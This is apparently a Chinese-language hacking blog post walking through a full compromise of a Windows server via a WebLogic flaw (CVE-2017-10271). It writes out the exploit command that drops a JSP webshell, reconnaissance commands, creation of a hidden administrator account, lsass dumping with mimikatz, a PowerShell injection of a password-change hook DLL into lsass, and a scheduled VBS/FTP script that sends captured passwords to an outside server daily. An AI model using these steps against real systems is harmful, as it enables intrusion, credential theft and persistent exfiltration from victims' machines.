珍惜每一刻。

在某次测试中发现了某某站点开了7001端口Weblogic服务,于是。。。

漏洞验证与利用


运用payload向其写入shell

1 2 3 4 5 6 7 8 9 
root@kali:~/Desktop/Oracle-WebLogic-CVE-2017-10271-master# java -jar WebLogic_Wls-Wsat_RCE_Exp.jar http://xxx.xxx.xxx:7001 abc.jsp  [*] Starting exploit... [*] Sending payloads... [*] Payloads sent... [*] Opening shell... [*] pwned! Go ahead...  [+] http://xxx.xxx.xxx:7001/bea_wls_internal/abc.jsp?password=secfree&command=whoami 

这里请无视(xxx)

信息收集

访问shell地址执行命令

1 2 3 4 5 
whoami -->xxx\admin ipconfig -->公网地址 sysinfo -->win2008x64 R2 EN 工作组 257个补丁 net localgroup administrators --> 得知当前用户(admin)是管理组 tasklist -->杀软卡巴斯基(avp.exe) 


执行netstat -ano看下端口,发现没有开启3389端口。但这不是绝对的,有些可爱的管理员会把3389端口改成别的端口,进行远程链接。所以要想知道真正的远程端口链接是多少需执行tasklist /svc命令,查看svchost.exe对应的TermServicepid

1 
svchost.exe 3788 TermService 

查看对应的PID,得知远程链接端口为39800

攻击

1 
net user admin1 Qww123!/add&net localgoup administrators admin1 /add 

链接远程端口之!

emmm什么时候冒出了一个熊猫卫士清理工具??
好吧。
这杀软环境挺让人绝望的,光是卡巴就够呛还来个熊猫帮手
较新版本的卡巴lsass进程全面封锁,进程是动不了的,但幸运的是,该机子的卡巴是旧版本,而且病毒库也不更新,得利于管理员的懒惰,成功将它的lsass进程创建为转储文件lsass.DMP,并把它拖回本地dump
mimikatz获取到管理员密码

巩固

都已经拿到管理员密码了,你还想怎样?没错,我不仅要拿你的密码,就算你修改新的密码,我也要知道!
准备HookPasswordChange.dllInvoke-ReflectivePEInjection.ps1文件,然后运行该powershell脚本将dll注入到lsass进程中。利用方法文章结束后有相关链接
将准备好的文件丢进目标机子,执行命令

1 
powershell –exec bypass –Command "& {Import-Module 'C:\Invoke-ReflectivePEInjection.ps1';Invoke-ReflectivePEInjection -PEPath C:\HookPasswordChange.dll –procname lsass}" 


成功安装,当管理员修改密码的时候会记录下新的密码,且以文本的形式保存在c:\windows\temp\passwords.txt
因为管理员没有这么快改密码,所以自己就创建一个管理员用户,并修改密码做测试

OK,没问题

传输

实际过程中如果管理员修改了密码,我们是要将passwords.txt传送出来的。
方法有很多,这里就用个简单的FTP上传文件的方式,将文件发送到FTP服务器
将VBS脚本放到任务计划书里,按时执行,VBS代码如下

1 2 
Set ws = CreateObject("Wscript.Shell") ws.run "cmd /c ftp -s:E:\xxx\ftp.txt",vbhide 

ftp.txt内容为

1 2 3 4 5 
open xxx.xxx.xxx.xxx ppp 123456 put c:\windows\temp\passwords.txt bye 

继续忽略xxx
但是,目标机子运行FTP xxx.xxx.xxx.xxx(xxx为FTP服务器的IP)报错:访问被拒绝

可能是卡巴惹的祸吧,没有深究,自己上传个ftp.exe上去运行

成功链接到FTP服务器
在任务计划书里定时一天发送一次,搞定。